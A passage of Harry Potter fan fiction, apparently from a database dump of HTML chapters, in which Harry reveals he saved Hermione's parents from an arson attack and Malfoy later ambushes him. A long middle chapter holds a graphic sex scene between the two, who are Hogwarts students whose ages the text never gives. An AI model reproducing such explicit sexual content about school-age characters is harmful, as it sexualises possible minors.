right now,&#8221; he said sadly.</p>\n\n<p>Harry looked up towards the professors&#8217; table, and he found Dumbledore gazing at him intently.&nbsp; The older man nodded his head, and Harry had the distinct impression that he knew what was going on.&nbsp; He nodded in return before turning back to Ron.</p>\n\n<p>&#8220;I&#8217;m gonna go talk to her; all I can do for right now is be there for her.&#8221;</p>\n\n<p>Ron nodded with a sorrowful look in his eyes, and Harry turned to exit the Great Hall.</p>\n\n<p>As Harry headed up to Gryffindor Tower, he had the feeling that he was being watched.&nbsp; Halfway up the next staircase, he stopped and turned his head.</p>\n\n<p>&#8220;All right, who&#8217;s ever following me, you better come out now; I&#8217;m not in the mood for games right now!&#8221; he growled.</p>\n\n<p>Cassandra stepped out front behind a suit armor with confident smirk on her face.</p>\n\n<p>&#8220;Hello Harry, how nice to see you?&#8221;</p>\n\n<p>&#8220;What do you want, Cassandra?&#8221;</p>\n\n<p>&#8220;Oh, I already made it perfectly clear what I want,&#8221; she said with a seductive smile.</p>\n\n<p>&#8220;You&#8217;re the one who destroyed Hermione&#8217;s house aren&#8217;t you?&#8221; he accused.</p>\n\n<p>&#8220;Yes, she is&#8230;&#8221; another voice laughed, &#8220;&#8230;and quite a pleasant site it was.&#8221;</p>\n\n<p>Malfoy came out of his hiding place, and the anger in Harry&#8217;s eyes tripled.</p>\n\n<p>&#8220;I should&#8217;ve known you&#8217;d slither out from somewhere.&nbsp; I knew that Cassandra couldn&#8217;t have found Hermione&#8217;s address without help.&nbsp; After all, Hogwarts students&#8217; information is only accessible by the Ministry of Magic.&#8221;</p>\n\n<p>&#8220;True, I did give her the Mudblood&#8217;s address, and it was so nice to see the barbecue she made of the place!&#8221; Malfoy laughed sadistically.</p>\n\n<p>Harry clenched his fists, and the flames on the torches on the wall began to flicker wildly as his power roared through his veins.</p>\n\n<p>&#8220;I swear, I will personally see to it that you two rot in Azkaban for the rest of your lives!&#8221;</p>\n\n<p>&#8220;Very funny, but you can prove nothing.&nbsp; You better come down off your high horse, or you&#8217;ll lose everything.&nbsp; Then again, you&#8217;re going to lose it anyway,&#8221; Malfoy snickered.</p>\n\n<p>&#8220;Don&#8217;t worry, my plan will come to its full fruition in a matter of days, and then, you will be mine, and that stupid girl will be nothing more than a memory.&#8221;</p>\n\n<p>The pair laughed happily and headed off in the opposite direction.&nbsp; Harry had been about a millisecond away from hexing them both into next year, but he had to control his temper.&nbsp; A small grin actually crossed his face as he saw who was floating high up in the rafters &#8211; Moaning Myrtle.</p>\n\n<p>&#8220;Myrtle, am I glad to see you?&nbsp; Tell me, did you just here that whole conversation.&#8221;</p>\n\n<p>&#8220;Of course, Harry, those two sound like they&#8217;re up to no good.&#8221;</p>\n\n<p>&#8220;They are, and I need your help.&nbsp; Don&#8217;t tell anyone about what you heard.&nbsp; Just keep it a secret for now.&nbsp; Cassandra and Malfoy didn&#8217;t see so they don&#8217;t know that you heard them talking.&nbsp; I need you trust me on this, Myrtle.&#8221;</p>\n\n<p>&#8220;Sure, Harry, I won&#8217;t say anything; I promise.&#8221;</p>\n\n<p>&#8220;Thanks.&nbsp; You better go; I&#8217;ll come find you when I need you.&#8221;</p>\n\n<p>The ghost flew off, heading for her bathroom, and Harry continued of the stairs to Gryffindor Tower.</p>\n\n<p>Harry took a deep breath and opened the door to Hermione&#8217;s room.&nbsp; The young woman was curled up in a fetal position on her bed, crying her eyes out.&nbsp; Her body was shaking, and Harry felt his heart break for her; she didn&#8217;t know the truth.</p>\n\n<p>&#8220;Sweetheart?&#8221; he said softly and sat down next to her.&nbsp; She didn&#8217;t respond to him right away, and he reached for her.</p>\n\n<p>&#8220;Hermione,&#8221; he said soothingly and wrapped his arms around her.</p>\n\n<p>The young woman heard her lover&#8217;s voice, and she slowed uncurled her body.&nbsp; Opening her eyes, she saw his emerald spheres glowing with love and concern.</p>\n\n<p>&#8220;Harry!&#8221; She dove into his lap and bawled into his chest.</p>\n\n<p>&#8220;Shh&#8230;everything&#8217;s going to be all right.&#8221;</p>\n\n<p>He ran his hands through her chestnut locks and let Hermione cry herself out.&nbsp; Eventually, her tears came to a halt, and she looked up at Harry with a face of utter despair.</p>\n\n<p>&#8220;Why&#8230;why did she have to destroy my house&#8230;and&#8230;my parents?&nbsp; Why?&nbsp; Am I so horrible that I made a person hate me so much?&#8221;</p>\n\n<p>Harry was mortified at her words; she thought this was her fault!</p>\n\n<p>&#8220;Hermione&#8230;don&#8217;t you dare think that you had something to do with this.&nbsp; Cassandra did this because she&#8217;s jealous of what we have; she&#8217;ll do anything to get what she wants.&nbsp; You&#8217;ve done nothing wrong, my love.&#8221;</p>\n\n<p>&#8220;Harry&#8230;I have nothing now&#8230;no home&#8230;no family&#8230;&#8221;</p>\n\n<p>&#8220;That&#8217;s not true, Hermione.&#8221;</p>\n\n<p>&#8220;Yes, it is!&#8221; she countered vehemently, &#8220;I have nobody now&#8230;well&#8230;except you, but it&#8217;s not the same thing!&#8221;</p>\n\n<p>It wasn&#8217;t meant to sound insulting to Harry, and he didn&#8217;t take offense to her comments.&nbsp; She was right; he could never replace her parents &#8211; nor did he want to.&nbsp; In fact, he began to chuckle.</p>\n\n<p>&#8220;What&#8217;s so funny, Potter?&#8221;</p>\n\n<p>&#8220;Hermione&#8230;what would you say if I told you that both your parents and your house are perfectly fine?&#8221;</p>\n\n<p>&#8220;I would say that you&#8217;ve lost your mind.&#8221;</p>\n\n<p>&#8220;Then call me crazy, Herm, because they are.&nbsp; Your parents are safe, and your house is still in one piece.&#8221;</p>\n\n<p>The hope in his eyes almost convinced her.</p>\n\n<p>&#8220;Harry, this isn&#8217;t funny; it&#8217;s on the front page of the Daily Prophet.&#8221;</p>\n\n<p>&#8220;Oh that, you mean the ruined house&#8230;well&#8230;I had a hand in that.&#8221;</p>\n\n<p>&#8220;What are you talking about?&#8221;</p>\n\n<p>&#8220;You see, Herm, I got to your house just after Cassandra arrived.&nbsp; She&#8217;d hexed your parents pretty badly, but they were still alive.&nbsp; I apparated into your kitchen and saw them lying on the floor.&nbsp; I could sense Cassandra casting her spell and did the only thing I could to deceive her; I used the phoenix.&#8221;</p>\n\n<p>&#8220;What are you saying?&#8221; Hermione asked with hope in her voice.</p>\n\n<p>&#8220;Cassandra launched a giant fireball at your house.&nbsp; So, what I did was wait till just before it hit the roof and released the phoenix.&nbsp; Its flames expanded out until it reached to just outside the structure, and the fireball impacted with them.&nbsp; It exploded, and the flames from the phoenix made it look like the whole house was on fire, but nothing was damaged.&nbsp; Your father was a little nervous about sitting in middle of a blazing fire, but I assured him that everything was fine.&nbsp; I waited until Cassandra used her portkey to leave, and the phoenix&#8217;s fire died down.&#8221;</p>\n\n<p>&#8220;So&#8230;my parents are alive!&#8221;</p>\n\n<p>&#8220;Yup, they were a little banged up, but they&#8217;ll be just fine.&#8221;</p>\n\n<p>&#8220;But, what about the house?&nbsp; If you said that it wasn&#8217;t damaged, then why does it look destroyed in the paper?&#8221;</p>\n\n<p>Harry grinned widely at her.</p>\n\n<p>&#8220;Oh that&#8230;well&#8230;I figured that Cassandra would be suspicious if your house didn&#8217;t look destroyed so I threw a large glamour over the whole area to make it look ruined.&#8221;</p>\n\n<p>&#8220;You mean an illusion?&#8221;</p>\n\n<p>&#8220;Exactly.&#8221;</p>\n\n<p>Hermione was absolutely speechless; Harry had done the impossible again.&nbsp; She wrapped her arms around his neck and pulled his lips to hers.</p>\n\n<p>The young man was caught off guard when Hermione smothered him in her embrace.&nbsp; She pushed him onto his back and practically sucked the life out of him.</p>\n\n<p>&#8220;Wow!&#8221; he gasped when she finally let him go.</p>\n\n<p>&#8220;Thank you&#8230;thank you&#8230;thank you&#8230;&#8221; she rattled off a thousand times in a matter of seconds.</p>\n\n<p>&#8220;I made you a promise, Hermione, and I&#8217;m not about to break it.&#8221;</p>\n\n<p>&#8220;So&#8230;mom and dad&#8230;they&#8217;re really okay?&#8221; she asked with a hopeful smile.</p>\n\n<p>&#8220;They&#8217;re fine, my love, an old friend of mine is looking after them.&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; she sighed and gave him another long, hot kiss.</p>\n\n<p>&#8220;Herm, would you like to see your parents?&#8221;</p>\n\n<p>&#8220;Really?&nbsp; Well&#8230;I&#8230;yes, I actually would.&nbsp; Is that all right?&#8221;</p>\n\n<p>&#8220;Of course, sweetheart,&#8221; he sighed and helped her to her feet.</p>\n\n<p>&#8220;Come on, I&#8217;ll take you to them.&#8221;</p>\n\n<p>Hermione stepped into his arms, and Harry pulled her against his chest.&nbsp; Then, with a slight twitch of his eye, the two disapparated out of their dormitory.</p>\n\n<p>Author&#8217;s Notes:&nbsp; Just a quick little interlude chapter here.&nbsp; I&#8217;m keying up for the final act to begin so stay tuned.</p> '),
	(244, 14, ' <p>The pair appeared near the fountain in front of Dumbledore&#8217;s house. &nbsp;Hermione&#8217;s eyes widened in awe as she looked around at the gorgeous landscape.</p>\n\n<p>&#8220;Harry&#8230;where&#8230;where are we?&nbsp; This is so beautiful!&#8221;</p>\n\n<p>&#8220;Hermione&#8230;this is Professor Dumbledore&#8217;s house.&#8221;</p>\n\n<p>&#8220;Are you serious?&#8221; she gawked.</p>\n\n<p>&#8220;Yes, this is where I came after I was expelled from Hogwarts last year; my training took place here.&nbsp; Come on, your parents are inside.&#8221;</p>\n\n<p>Harry knocked on the front door, and Mathis opened it not more than five seconds later.</p>\n\n<p>&#8220;Ah, Mr. Potter, back so soon?&nbsp; Oh, and who might this lovely, young lady be?&#8221; Hermione blushed slightly.</p>\n\n<p>&#8220;Hello Mathis, this is Hermione Granger &#8211; my fianc&#233;.&nbsp; I had brought her parents here earlier, and I was wondering how they are doing.&#8221;</p>\n\n<p>&#8220;Of course.&nbsp; The lady had several large gashes from glass and a slight concussion; her husband had a few cracked ribs but that is all.&nbsp; They are both doing fine; they&#8217;re resting down the hall.&#8221;</p>\n\n<p>&#8220;May I see them?&#8221; Hermione asked as her hands trembled.</p>\n\n<p>&#8220;Certainly, Miss Granger, please follow me.&#8221;</p>\n\n<p>Mathis led the couple inside and down a side hallway.&nbsp; The older man stopped at the fifth door down, and he stretched his hand towards the door.</p>\n\n<p>&#8220;They are resting in here.&nbsp; Please let me know if there is anything you need.&#8221;</p>\n\n<p>&#8220;Actually sir&#8230;um&#8230;I don&#8217;t mean to impose&#8230;but&#8230;&#8221; Hermione&#8217;s stomach growled, and Harry grinned slightly as did Mathis.</p>\n\n<p>&#8220;Do not worry, I will have dinner brought here for you so take your time.&#8221;</p>\n\n<p>&#8220;Thank you, sir, for helping my parents.&#8221;</p>\n\n<p>&#8220;You are quite welcome.&nbsp; If you will excuse me then.&#8221;</p>\n\n<p>Harry wrapped his arm around her waist and squeezed her gently.</p>\n\n<p>&#8220;Come on, sweetheart, let&#8217;s go see your parents.&#8221;</p>\n\n<p>As Hermione opened the door, she could hear her parents&#8217; voice, and her heart leapt into her throat.&nbsp; They were really alive!</p>\n\n<p>&#8220;John, would you stop fussing over me? &nbsp;I&#8217;m fine!&#8221; Melinda&#8217;s voice rang out.</p>\n\n<p>She was lying on a king size bed, resting comfortably, but her husband was sitting next to her with an anxious look on his face.</p>\n\n<p>&#8220;Melinda, I&#8217;m not fussing; I just want to make sure you&#8217;re all right.&#8221;</p>\n\n<p>&#8220;I am, now, you should get some rest yourself; you&#8217;re in pretty rough shape too.&#8221;</p>\n\n<p>&#8220;No, I&#8217;m not&#8230;&#8221; John Granger countered, but he held his arm against his injured ribs.</p>\n\n<p>&#8220;All right, sweetie, I&#8217;ll promise to rest if you will,&#8221; his wife offered.</p>\n\n<p>&#8220;Fine with me.&#8221;</p>\n\n<p>The two adults heard their door shut and turned their heads.</p>\n\n<p>&#8220;Hermione!&#8221; they both said happily.</p>\n\n<p>&#8220;Mom&#8230;Dad!&#8221; Tears were streaming down their daughter&#8217;s cheeks as she ran in their arms.</p>\n\n<p>Harry remained by the door, letting the family have time to bask in the happiness of their reunion.&nbsp; A pang of sadness filled his heart as he remembered his own parents having been killed in a similar act by Voldemort.&nbsp; He would never allow Hermione to feel that type of pain &#8211; never!</p>\n\n<p>&#8220;Mom&#8230;Dad&#8230;are you two all right?&nbsp; Are you in pain?&#8221;</p>\n\n<p>Her mother caressed her hair and smiled warmly at her daughter.</p>\n\n<p>&#8220;Sweetie, we&#8217;re both fine.&#8221;</p>\n\n<p>&#8220;Your mother is right, Hermione, we&#8217;ll be okay.&#8221;</p>\n\n<p>&#8220;I&#8217;m so sorry, mom, I never meant for this to happen.&#8221;</p>\n\n<p>&#8220;I know, honey; we&#8217;re not angry with you.&#8221;</p>\n\n<p>&#8220;This is not your fault, Hermione,&#8221; her father said firmly.&nbsp; She hugged her parents tightly, and they reciprocated.</p>\n\n<p>&#8220;I can&#8217;t believe I almost lost you two.&#8221;</p>\n\n<p>&#8220;We may not have survived if Harry hadn&#8217;t shown up to help us,&#8221; John stated.</p>\n\n<p>&#8220;Harry!&#8221; Hermione gasped and realized that she hadn&#8217;t even thanked him yet.&nbsp; Turning her head, she saw her fianc&#233; standing by the door with a warm smile on his face.</p>\n\n<p>&#8220;Harry&#8230;I&#8230;I&#8230;&#8221;</p>\n\n<p>The young wizard saw the gratefulness on his lover&#8217;s face, and he merely nodded his head.</p>\n\n<p>&#8220;I&#8217;ll be outside if you need me&#8230;&#8221; and he quietly slipped out the door.</p>\n\n<p>Part of Hermione was wondering why he left, but she understood that he knew that she wanted some time alone with her parents.</p>\n\n<p>&#8220;Mom, please tell me what happened.&#8221;</p>\n\n<p>Her daughter listening anxiously, Melinda Granger began to explain the events around the attack.</p>\n\n<p>Harry walked out into the backyard and took off his robes.&nbsp; He was really keyed up, and he needed to work off some of his frustration.&nbsp; He&#8217;d nearly lost the place that had been his first, true home, and the people who would someday become his parents.&nbsp; His teeth grinded together as he finally allowed the anger that had been boiling inside him to explode to the surface.</p>\n\n<p>Tossing asides his robes, Harry drew out his wand and readied himself.&nbsp; The first spell was cast, and he was underway.</p>\n\n<p>Mathis had brought dinner for her and her parents, and Hermione was enjoying the meal thoroughly.&nbsp; Suddenly, an explosion echoed from the backyard.</p>\n\n<p>&#8220;What in the world was that?&#8221; Melinda gasped.</p>\n\n<p>Hermione raced to the window, wondering if there was another attack happening.&nbsp; Her eyes widened, as she watched none other than Harry levitating rocks into the air and destroying them left and right.&nbsp; His pace was almost inhuman, and Hermione felt her heart contract as she realized that this incident had hurt Harry as much as it hurt her.</p>\n\n<p>&#8220;Hermione, what&#8217;s going on?&#8221; her father asked.</p>\n\n<p>&#8220;It&#8217;s Harry; he&#8217;s out in the backyard practicing magic.&#8221;</p>\n\n<p>&#8220;Sounds like he&#8217;s pretty upset,&#8221; Melinda sighed.</p>\n\n<p>&#8220;I never stopped to think about how this had effected him; I was just so glad to see you two.&nbsp; He feels that he finally has a home, and he nearly lost it again.&nbsp; I think he feels guilty because you two got involved in something because you&#8217;re close to him.&#8221;</p>\n\n<p>&#8220;But Hermione, it&#8217;s not his fault,&#8221; her mother replied.</p>\n\n<p>&#8220;A part of him knows that, mom, but he still feels guilty.&nbsp; He used to use the same excuse about why we should never have gotten too close.&nbsp; Harry was planning on being alone for the rest of his life because of his curse as the &#8216;Boy Who Lived&#8217;, but he found he couldn&#8217;t be a hermit forever.&nbsp; He was so incredibly happy at our house this summer, but now, I&#8217;m afraid that his guilt may consume him.&#8221;</p>\n\n<p>&#8220;Go to him, Hermione, he needs you more than us right now.&#8221;</p>\n\n<p>&#8220;Your mother is right; go to him!&#8221;</p>\n\n<p>Hermione looked at her parents then back out the window at the young man trying to fight of his demons once again.&nbsp; Hugging her parents one more time, Hermione headed out of the room.</p>\n\n<p>Harry destroyed his twentieth rock and bent over to catch his breath.&nbsp; He saw the sun beginning the slip below the horizon; he didn&#8217;t realize that he&#8217;d been out here that long.&nbsp; His heart was aching with guilt over what had happened to Hermione&#8217;s parents.&nbsp; If he&#8217;d been one more minute in getting to their house, they&#8230;they would be&#8230;</p>\n\n<p>&#8220;Dammit!&#8221; he growled and picked up his robes.&nbsp; He tucked his wand away and headed back towards the house.</p>\n\n<p>It was then that he saw Hermione standing in the doorway.&nbsp; It appeared that she&#8217;d been there quite a while and had been watching him work off his frustration.&nbsp; He turned his head away ashamed at seeming so unnerved in front of her.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; he whispered so softly that Hermione just barely heard him.</p>\n\n<p>&#8220;For what?&#8221; she asked and walked up to him.</p>\n\n<p>&#8220;I&#8217;m sorry that you had to see me like this; I don&#8217;t usually lose my temper like that.&#8221;</p>\n\n<p>&#8220;I know that, Harry, but it&#8217;s okay.&nbsp; You&#8217;re not perfect, and I don&#8217;t expect you to be.&#8221;</p>\n\n<p>&#8220;But Hermione&#8230;if I&#8217;d been even one more minute in getting to your house&#8230;your parents would be&#8230;&#8221;</p>\n\n<p>&#8220;Hush, my love,&#8221; she quieted him.</p>\n\n<p>&#8220;Harry, please don&#8217;t feel guilty about this; it&#8217;s not your fault.&nbsp; If anything, this is my fault because Cassandra came after me!&#8221;</p>\n\n<p>&#8220;True, but she knows that the best way to get to me is through you.&nbsp; I&#8217;m sorry, it&#8217;s just&#8230; sometimes I wish that&#8230;that I could give you something more than a guy who attracts every dark wizard within earshot.&nbsp; I just hope that you can forgive me for getting your parents involved.&#8221;</p>\n\n<p>Hermione&#8217;s hand suddenly connected with his left cheek.&nbsp; It wasn&#8217;t hard, but it still stung.</p>\n\n<p>&#8220;Would you shut up?&nbsp; Don&#8217;t you even think about going all dark and moody on me.&nbsp; We went through this last year, and I thought that you were over this by now.&nbsp; I don&#8217;t care what happens, Harry, I want us to be together.&#8221;</p>\n\n<p>&#8220;But Herm, your parents&#8230;they&#8230;&#8221;</p>\n\n<p>&#8220;&#8230;are fine, love, and you are the one who protected them.&nbsp; There&#8217;s nothing more that I could ask from you.&#8221;</p>\n\n<p>&#8220;Thank you, sweetheart, but I still feel lousy about all of this.&#8221;</p>\n\n<p>Hermione glared at him slightly and grabbed his arm.</p>\n\n<p>&#8220;Come on!&#8221;</p>\n\n<p>Harry readily followed her as she dragged him back inside the house.</p>\n\n<p>&#8220;Hey, we&#8217;re not going back to see your parents?&#8221; he asked as he noticed that they were heading the opposite direction.</p>\n\n<p>&#8220;No.&nbsp; Since it&#8217;s after nightfall, Mathis thought it best if we stayed here for tonight; he&#8217;s sending an owl to Dumbledore as we speak.&nbsp; Now, stop blubbering and come on.&#8221;</p>\n\n<p>Hermione led him down the hall and into one of the bedrooms.&nbsp; She pushed him inside and followed in behind.&nbsp; She quickly muttered a silencing charm over the room and locked the door.</p>\n\n<p>Harry noticed the large bed situated against the far well, and he turned to see Hermione strutting toward him.</p>\n\n<p>&#8220;Um&#8230;sweetheart, what&#8217;s going on here?&#8221; he asked nervously.&nbsp; She grinned wryly at him.</p>\n\n<p>&#8220;Since you don&#8217;t believe that you deserve to be happy, Harry, I&#8217;m going to make love to you until you do!&#8221;</p>\n\n<p>Hermione grabbed his robes and tossed them to the floor; her own followed a second later.&nbsp; She grabbed his tie and yanked his face down to hers.</p>\n\n<p>&#8220;You&#8217;re mine tonight, Potter, so you better be prepared!&#8221; she cooed.</p>\n\n<p>Harry gulped as she unbuttoned his shirt and nearly tore it off him.&nbsp; His t-shirt followed suit, and Hermione raked her nails down his chest.</p>\n\n<p>&#8220;Hmm, I always love to do this.&#8221; Her voice was low and sensual, and it wrapped itself around Harry&#8217;s consciousness.</p>\n\n<p>Slowly but surely, she guided him backwards onto the bed.&nbsp; When his knees hit the bed, her eyes narrowed even further.&nbsp; She squeezed his hard abs, and Harry groaned huskily.</p>\n\n<p>&#8220;Hermione&#8230;I&#8230;&#8221;</p>\n\n<p>&#8220;No talking&#8230;I&#8217;m still persuading you.&#8221;</p>\n\n<p>Harry thought he would go crazy as her delicate fingers traced every curvature on his torso, but it was nothing compared to the heat that ignited in his veins when she unbuckled his pants.&nbsp; They fell around his ankles, and Harry tripped and fell back onto the bed.&nbsp; Hermione knelt down and pulled them off his captured ankles.&nbsp; Her eyes burned with desire, and she licked her lips when she saw the bulge in his shorts.</p>\n\n<p>&#8220;So Harry&#8230;still don&#8217;t believe that you deserve me?&#8221;</p>\n\n<p>&#8220;Well&#8230;I&#8230;Hermione&#8230;I&#8230;&#8221;</p>\n\n<p>&#8220;That&#8217;s not an answer; I&#8217;ll have to convince you more!&#8221;</p>\n\n<p>Moving between his thighs, Hermione stroked her hand over his shaft, and Harry nearly fainted.&nbsp; She made quick work of his shorts, and he sprung to attention the moment she released him.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she purred and wrapped her hand around him, &#8220;&#8230;you do deserve to be happy; you deserve to make me happy as well; and you deserve this.&#8221;</p>\n\n<p>&#8220;Ahhhhh!&#8221;</p>\n\n<p>Harry was at a complete loss as he watched Hermione wrapped that incredible mouth of hers around his manhood.&nbsp; He got another surprise when her hand cupped the soft sacs underneath and squeezed ever so gently.</p>\n\n<p>&#8220;Hermione!&#8221; he gasped as her head began to bob.</p>\n\n<p>He couldn&#8217;t believe it.&nbsp; Here was the love of his life driving him mad with lust, and she still had all her clothes on!&nbsp; His fianc&#233; continued to increase her torture as her tongue came into play.</p>\n\n<p>&#8216;Sweet Merlin, when did she learn to do this?&#8217;</p>\n\n<p>She popped him out of her mouth and proceeded to run her tongue down his entire length; Harry could die a happy man now.</p>\n\n<p>&#8220;Hmm&#8230;still not convinced are we, lover?&nbsp; Well then, I guess I&#8217;ll just have to torture you some more.&#8221;</p>\n\n<p>Hermione worked on him for a good ten minutes, and Harry&#8217;s head was ready to explode.&nbsp; He was about to burst when she pulled away from him.</p>\n\n<p>&#8220;Uh&#8230;Hermione&#8230;what?&#8221;</p>\n\n<p>&#8220;Oh no&#8230;not until you admit that you deserve to be with me.&nbsp; Until then, you&#8217;ll get no relief from me!&#8221; she said defiantly.&nbsp; Harry&#8217;s jaw dropped in utter shock.</p>\n\n<p>A minute later, Hermione went back to sucking on him.&nbsp; Harry was like a blob of goo lying on the bed; he could barely feel his legs.&nbsp; However, just as he was about to climax, Hermione pulled away again.</p>\n\n<p>&#8220;Damn you, you little tease!&#8221; he growled.</p>\n\n<p>&#8220;The torture can end, darling, just be honest with me,&#8221; she challenged.&nbsp; Her small hand glided up his shaft, and Harry&#8217;s resolve collapsed.</p>\n\n<p>&#8220;All right, I do deserve to be happy; I do deserve to be with you; but I&#8217;m afraid of what will happen.&#8221;</p>\n\n<p>&#8220;We will face it together, Harry, just like we always have.&nbsp; But for now, just enjoy this.&#8221;</p>\n\n<p>Hermione resumed her treatment, and Harry&#8217;s hands buried themselves in her chestnut locks.&nbsp; Her pace quickened, and his body went completely rigid.</p>\n\n<p>&#8220;Hermione!&#8221;</p>\n\n<p>She felt him burst inside her mouth, and Hermione did something that she&#8217;d never thought she&#8217;d ever do &#8211; swallow it.&nbsp; She drank in his release and carefully cleaned off his pulsing organ.</p>\n\n<p>Harry was a motionless lump on the bed, and his legs were twitching slightly.&nbsp; Oh man, that was incredible; damn, he was a lucky guy.&nbsp; Finally, he managed to sit up to see Hermione still sitting between his legs &#8211; a smile on her face.</p>\n\n<p>Rising to his feet, Harry pulled her up and abruptly turned her around.&nbsp; Hermione was a little surprised until she felt his arms encircle her.</p>\n\n<p>&#8220;That was very naughty, angel,&#8221; he cooed softly in her ear.&nbsp; She turned her head and arched an eyebrow.</p>\n\n<p>&#8220;I&#8217;m an excellent negotiator.&#8221;</p>\n\n<p>Harry pressed himself up against her back and ground his hips into her bottom.&nbsp; Hermione wiggled her behind, and Harry&#8217;s hands slid up to cup her breasts.&nbsp; He squeezed their soft fullness, and he could feel her hard nipples puckering in his hands.&nbsp; His hands moved like the wind as he unbuttoned her jumper and pulled it open.&nbsp; Not even waiting to undo it, he pulled her bra up and cupped her breasts in his hands.</p>\n\n<p>&#8220;Hermione,&#8221; he growled and squeezed the luscious orbs, &#8220;these are two perfect works of female art.&#8221;</p>\n\n<p>She blushed heavily, but her body was still buzzing with lust and desire.&nbsp; While one hand toyed her breast, Harry slid his other hand up under her skirt.&nbsp; He didn&#8217;t even have to touch her to know she was wet, and his fingers slipped under her panties.</p>\n\n<p>&#8220;Harry!&#8221; she gasped as he touched her nether lips.</p>\n\n<p>&#8220;Hmm, hot and wet for me, sweetheart; I like you this way,&#8221; he snickered.</p>\n\n<p>Hermione was about to respond when she felt her panties sliding down her legs.&nbsp; Harry turned them around and bent her over the bed.&nbsp; Hermione was shocked as he flipped up the back of her skirt and pressed him against her rear.</p>\n\n<p>&#8216;No way, he wouldn&#8217;t&#8230;would he?&nbsp; Have I really driven him that crazy?&#8217;</p>\n\n<p>&#8220;I can&#8217;t stand it anymore; I have to have you!&#8221;</p>\n\n<p>Hermione shrieked at Harry buried himself inside her wet folds.&nbsp; He bent over her back and slammed himself inside her.&nbsp; His hands reached underneath and cupped her breasts as they swayed back and forth with their moving hips.</p>\n\n<p>By Merlin, why hadn&#8217;t they tried this before?&nbsp; Hermione couldn&#8217;t believe how deep he was reaching inside her; he was hitting her hot spot with every thrust.&nbsp; Harry&#8217;s brain had long since stopped working.&nbsp; He was overwhelmed with pleasure as her tight hotness closed around him with every thrust.&nbsp; </p>\n\n<p>He knew that he should stop and let her finish getting undressed, but damn him, he wanted her like this.&nbsp; He wanted her quivering in front of him, begging him to complete her.&nbsp; Hermione suddenly dropped down onto her forearms, presenting even more of herself to him.&nbsp; Harry slammed himself into her, and they both moaned as they were joined to the hilt.</p>\n\n<p>Hermione panted his name into the sheets as Harry took her with a ferocity that bordered on animal-like.&nbsp; Her body pulsed with desire, and her hips drove back into him, wanting him inside her again and again.</p>\n\n<p>&#8220;Yes, my Hermione, you&#8217;re so good&#8230;so sweet and hot&#8230;&#8221; he growled into her hair.</p>\n\n<p>&#8220;Oh Harry&#8230;don&#8217;t stop&#8230;don&#8217;t ever stop&#8230;&#8221;</p>\n\n<p>Their bodies slammed together in a dance of lust and need.&nbsp; Their souls were aching to become one again.&nbsp; Harry hit a spot deep inside her, and that was the last straw.</p>\n\n<p>&#8220;HARRY!&#8221; she shrieked as her body convulsed with force of her orgasm.</p>\n\n<p>&#8220;HERMIONE!&#8221; he answered and exploded into her hungry depths.</p>\n\n<p>They remained frozen in place for several minutes.&nbsp; Their bodies hunched over the bed; their hips remained connected.</p>\n\n<p>&#8220;Hermione&#8230;you still alive&#8230;&#8221; a soft voice whispered hoarsely.</p>\n\n<p>&#8220;Just barely,&#8221; was the answer.</p>\n\n<p>Harry pulled out of her warmth and backed away slightly.&nbsp; Hermione turned around and sat down in front of him.&nbsp; Her body was still thrumming at the thought of their lustful interchange a few minutes before.&nbsp; She was still half-dressed, and Harry assisted her as she disrobed completely.&nbsp; He stood up and pulled her to her feet.</p>\n\n<p>&#8220;You&#8217;re amazing, my angel, you almost killed me that time.&#8221;</p>\n\n<p>&#8220;Look who&#8217;s talking, lover, and you say I&#8217;m naughty.&nbsp; You just decided to bend me over and have your way with me, hmm?&#8221; she giggled, and he blushed slightly.</p>\n\n<p>Harry bent down and swept her into his arms.</p>\n\n<p>&#8220;Then let me love you properly this time, sweetheart.&#8221;</p>\n\n<p>He carried her back to bed and laid her down on her back.&nbsp; Hermione smiled up at him and drew him down for a long, wet kiss.&nbsp; His hands resumed caressing her exquisite body, and Hermione felt his arousal poking at her entrance again.</p>\n\n<p>&#8220;You&#8217;re insatiable tonight, Harry.&#8221;</p>\n\n<p>&#8220;Damn right, I am &#8211; especially after your little stunt earlier.&#8221;</p>\n\n<p>&#8220;I don&#8217;t mind, but don&#8217;t be surprised if I can&#8217;t walk tomorrow!&#8221; she laughed.</p>\n\n<p>&#8220;Don&#8217;t worry, love, I&#8217;ll just carry you.&#8221;</p>\n\n<p>Hermione kissed him again, and they both sighed as their bodies joined together once again.&nbsp; </p>\n\n<p>Their fire burned almost all night, and they finally collapsed into each other&#8217;s arms totally exhausted.&nbsp; Harry wrapped his arms around his angel, and Hermione snuggled into his chest.</p>\n\n<p>&#8220;I love you, Harry,&#8221; she whispered softly and kissed his chest.</p>\n\n<p>&#8220;And I love you, Hermione,&#8221; he replied and kissed her hair.</p>\n\n<p>&#8220;I promise you, sweetheart, this nightmare ends here and now.&#8221;</p>\n\n<p>&#8220;I know, my darling, I know.&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; Well, it&#8217;s been a while since I&#8217;ve done a good lemon chapter.&nbsp; I&#8217;ve had several people tell me that you are supposed to be able to disapparate around Hogwarts.&nbsp; I know that, but you must read the first part of the trilogy &#8216;Endings and Beginnings&#8217; to understand that part.&nbsp; The ending is drawing near so make sure you stick around.</p> '),
	(244, 15, ' <p>Leaving Hermione&#8217;s parents in Mathis&#8217; care, she and Harry returned to Hogwarts the next morning.&nbsp; The portkey that Dumbledore had owled them took them directly to their own common room so that they could keep up the illusion that they had never left.&nbsp; The pair grabbed a fresh pair of clothes and headed for their first class.</p>\n\n<p>Both of them were distracted, but they remained on guard in case Cassandra tried something else.&nbsp; They made it to lunch without incident, but Harry could feel that the end was approaching.</p>\n\n<p>When they separated for their afternoon classes, Harry took Hermione aside and asked her to be careful.&nbsp; She squeezed his hand and nodded her head.&nbsp; It was extremely difficult for Harry to let her go, but he had to trust that she could look after herself.&nbsp; He almost wanted something to happen so that his nerves would finally be satisfied.</p>\n\n<p>An entire week passed by and not one thing happened.&nbsp; Harry had visited Dumbledore and explained the incident at Hermione&#8217;s house to him in every detail.&nbsp; He was now enroot to the Great Hall to meet Ron and Hermione for dinner.</p>\n\n<p>As he came around the corner, a blunt object struck him in the side of the temple.&nbsp; Harry collapsed to his knees, and he struggled to focus his vision and see his attacker.&nbsp; However, the same object struck him a second time, and he collapsed to the ground.</p>\n\n<p>Draco Malfoy emerged from the shadows with smirk on his face.</p>\n\n<p>&#8220;Potter may be good at magic, but even he won&#8217;t wake from this for a 